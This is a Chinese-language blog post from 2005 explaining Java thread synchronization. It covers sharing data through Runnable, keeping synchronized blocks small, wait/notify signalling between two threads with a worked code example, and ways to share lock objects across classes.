            2.如何放置共享數據實現線程,有兩種方法,一種是繼承Thread類,一種是實現Runnable接口。

            上面舉的例子,采用實現Runnable接口的方法。本文推薦這種方法。

            首先,把需要共享的數據放在一個實現Runnable接口的類里面,然后,把這個類的實例傳給多個Thread的構造方法。這樣,新創建的多個Thread,都共同擁有一個Runnable實例,共享同一份數據。

            如果采用繼承Thread類的方法,就只好使用static靜態成員了。如果共享的數據比較多,就需要大量的static靜態成員,令程序數據結構混亂,難以擴展。這種情況應該盡量避免。

            編寫一段多線程代碼,處理一個稍微復雜點的問題。兩種方法的優劣,一試便知。

            3.同步的粒度線程同步的粒度越小越好,即,線程同步的代碼塊越小越好。盡量避免用synchronized修飾符來聲明方法。盡量使用synchronized(anObject)的方式,如果不想引入新的同步對象,使用synchronized(this)的方式。而且,synchronized代碼塊越小越好。

            4.線程之間的通知這里使用“通知”這個詞,而不用“通信”這個詞,是為了避免詞義的擴大化。

            線程之間的通知,通過Object對象的wait()和notify() 或notifyAll() 方法實現。

            下面用一個例子,來說明其工作原理:

            假設有兩個線程,A和B。共同擁有一個同步對象,lock。

            1.首先,線程A通過synchronized(lock) 獲得lock同步對象,然后調用lock.wait()函數,放棄lock同步對象,線程A停止運行,進入等待隊列。

            2.線程B通過synchronized(lock) 獲得線程A放棄的lock同步對象,做完一定的處理,然后調用 lock.notify() 或者lock.notifyAll() 通知等待隊列里面的線程A。

            3.線程A從等待隊列里面出來,進入ready隊列,等待調度。

            4.線程B繼續處理,出了synchronized(lock)塊之后,放棄lock同步對象。

            5.線程A獲得lock同步對象,繼續運行。

            例子代碼如下:

            public class SharedResource implements Runnable{

            Object lock = new Object();

            public void run(){

            // 獲取當前線程的名稱。

            String threadName = Thread.currentThread().getName();

            if( “A”.equals(threadName)){

            synchronized(lock){ //線程A通過synchronized(lock) 獲得lock同步對象

            try{

            System.out.println(“ A gives up lock.”);

            lock.wait(); // 調用lock.wait()函數,放棄lock同步對象,

            // 線程A停止運行,進入等待隊列。

            }catch(InterruptedException e){   }   // 線程A重新獲得lock同步對象之后,繼續運行。

            System.out.println(“ A got lock again and continue to run.”);

            } // end of synchronized(lock)   }   if( “B”.equals(threadName)){

            synchronized(lock){//線程B通過synchronized(lock) 獲得線程A放棄的lock同步對象

            System.out.println(“B got lock.”);

            lock.notify(); //通知等待隊列里面的線程A,進入ready隊列,等待調度。

            //線程B繼續處理,出了synchronized(lock)塊之后,放棄lock同步對象。

            System.out.println(“B gives up lock.”);

            } // end of synchronized(lock)

            boolean hasLock = Thread.holdsLock(lock); // 檢查B是否擁有lock同步對象。

            System.out.println(“B has lock ? -- ” hasLock); // false.   }   }   }   public class TestMain{

            public static void main(){

            Runnable resource = new SharedResource();

            Thread A = new Thread(resource,”A”);

            A.start();

            // 強迫主線程停止運行,以便線程A開始運行。

            try {

            Thread.sleep(500);

            }catch(InterruptedException e){   }   Thread B = new Thread(resource,”B”);

            B.start();   }   }

             5.跨類的同步對象對于簡單的問題,可以把訪問共享資源的同步代碼都放在一個類里面。

            但是對于復雜的問題,我們需要把問題分為幾個部分來處理,需要幾個不同的類來處理問題。這時,就需要在不同的類中,共享同步對象。比如,在生產者和消費者之間共享同步對象,在讀者和寫者之間共享同步對象。

            如何在不同的類中,共享同步對象。有幾種方法實現,

            (1)前面講過的方法,使用static靜態成員,(或者使用Singleton Pattern.)

            (2)用參數傳遞的方法,把同步對象傳遞給不同的類。

            (3)利用字符串常量的“原子性”。

            對于第三種方法,這里做一下解釋。一般來說,程序代碼中的字符串常量經過編譯之后,都具有唯一性,即,內存中不會存在兩份相同的字符串常量。

            (通常情況下,C ,C語言程序編譯之后,也具有同樣的特性。)

            比如,我們有如下代碼。

            String A = “atom”;

            String B = “atom”;

            我們有理由認為,A和B指向同一個字符串常量。即,A==B。

            注意,聲明字符串變量的代碼,不符合上面的規則。

            String C= new String(“atom”);

            String D = new String(“atom”);

            這里的C和D的聲明是字符串變量的聲明,所以,C != D。

            有了上述的認識,我們就可以使用字符串常量作為同步對象。

            比如我們在不同的類中,使用synchronized(“myLock”), “myLock”.wait(),“myLock”.notify(), 這樣的代碼,就能夠實現不同類之間的線程同步。

            本文并不強烈推薦這種用法,只是說明,有這樣一種方法存在。

            本文推薦第二種方法,(2)用參數傳遞的方法,把同步對象傳遞給不同的類。

          --

          posted @ 2005-10-27 12:46 ivaneeo 閱讀(401) | 評論 (0)編輯 收藏

          僅列出標題
          共67頁: First 上一頁 34 35 36 37 38 39 40 41 42 下一頁 Last 
          主站蜘蛛池模板: 体育| 陆川县| 彰武县| 鄄城县| 鄱阳县| 石阡县| 冀州市| 溧阳市| 来凤县| 融水| 黎城县| 馆陶县| 武义县| 东明县| 麻城市| 通化市| 绥棱县| 灵武市| 柯坪县| 沙坪坝区| 平江县| 平阴县| 姜堰市| 西乌珠穆沁旗| 泰顺县| 陇西县| 长兴县| 隆子县| 安阳县| 沙湾县| 周宁县| 雅江县| 宽城| 齐齐哈尔市| 荃湾区| 绥棱县| 阿城市| 南平市| 潍坊市| 湖州市| 无极县|